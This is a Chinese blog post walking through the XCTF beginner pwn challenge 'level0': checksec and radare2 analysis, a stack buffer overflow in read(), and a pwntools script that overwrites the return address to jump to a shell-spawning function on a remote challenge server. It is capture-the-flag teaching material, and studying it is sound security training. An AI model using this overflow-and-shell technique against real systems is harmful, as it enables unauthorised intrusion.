XCTF-简单题-pwn-003

原创

Morphy_Amo 于 2021-12-10 17:03:41 发布 382 收藏

分类专栏： pwn题 文章标签： 安全 pwn

本文链接：https://blog.csdn.net/Morphy_Amo/article/details/121860569

例题： XCTF-pwn-新手区-003

分析过程

检查安全保护机制

```
root@kali:~/ctf/xctf/pwn/easy# checksec easy_003_level0
[*] '/root/ctf/xctf/pwn/easy/easy_003_level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

发现开启NX保护，此时可以判断难以通过直接写入shellcode的方式进行pwn

查看有没有可以利用的函数和字符串

```
[0x004004a0]> afl
0x004004a0    1 42           entry0
...
0x00400596    1 16           sym.callsystem
0x00400460    1 6            sym.imp.system
...
0x00400490    1 6            loc.imp.__gmon_start
[0x004004a0]> axt sym.imp.
sym.imp.write               sym.imp.system
sym.imp.read                sym.imp.__libc_start_main
[0x004004a0]> axt sym.imp.system
sym.callsystem 0x40059f [CALL] call sym.imp.system
[0x004004a0]> axt sym.callsystem
```

发现程序有可以利用的system函数，通过查看调用关系可以发现system函数是在callsystem函数中调用的，而callsystem函数并没有被调用过。

再查看字符串，发现 `/bin/sh` 且同样在callsystem中被调用

```
[0x004004a0]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00000684 0x00400684   7   8 (.rodata) ascii /bin/sh
```

```
001 0x0000068c 0x0040068c  13  14 (.rodata) ascii Hello, World\n

[0x004004a0]> axt 0x00400684
sym.callsystem 0x40059a [DATA] mov edi, str.bin_sh
```

查看`sym.callsystem`的反汇编代码

```
[0x004004a0]> s sym.callsystem
[0x00400596]> pdf
     ;-- rip:
/ (fcn) sym.callsystem 16
|   sym.callsystem ();
|           0x00400596      55             push rbp
|           0x00400597      4889e5         mov rbp, rsp
|           0x0040059a      bf84064000     mov edi, str.bin_sh         ; 0x400684 ; "/bin/sh"

|           0x0040059f      e8bcfeffff     call sym.imp.system
|           0x004005a4      5d             pop rbp
\           0x004005a5      c3             ret
```

可以发现callsystem就是获取shell的功能。

找溢出点

发现main函数中调用了一个`sym.vulnerable_function`函数，该函数反编译如下

```
/ (fcn) sym.vulnerable_function 32
|   sym.vulnerable_function ();
|           ; var int32_t var_80h @ rbp-0x80
|           ; CALL XREF from main @ 0x4005ee
|           0x004005a6      55             push rbp
|           0x004005a7      4889e5         mov rbp, rsp
|           0x004005aa      4883c480       add rsp, -0x80
|           0x004005ae      488d4580       lea rax, qword [var_80h]
|           0x004005b2      ba00020000     mov edx, 0x200              ; 512
|           0x004005b7      4889c6         mov rsi, rax
|           0x004005ba      bf00000000     mov edi, 0
|           0x004005bf      e8acfeffff     call sym.imp.read
|           0x004005c4      c9             leave
\           0x004005c5      c3             ret
```

发现调用了一个危险函数`read()`，这里read读取的内容将被存入大小为0x80的数组空间中，而可读的最大长度为0x200，因此可以被用来做溢出.

构造payload

```python
from pwn import *
context.log_level = 'debug'

conn = remote('111.200.241.244', 49826)
# 填充0x88个无用字符，再加上要跳的地址
payload = b'a' * (0x80 + 0x8) + p64(0x00400596)

conn.recvuntil('Hello, World\n')
conn.send(payload)
conn.interactive()
```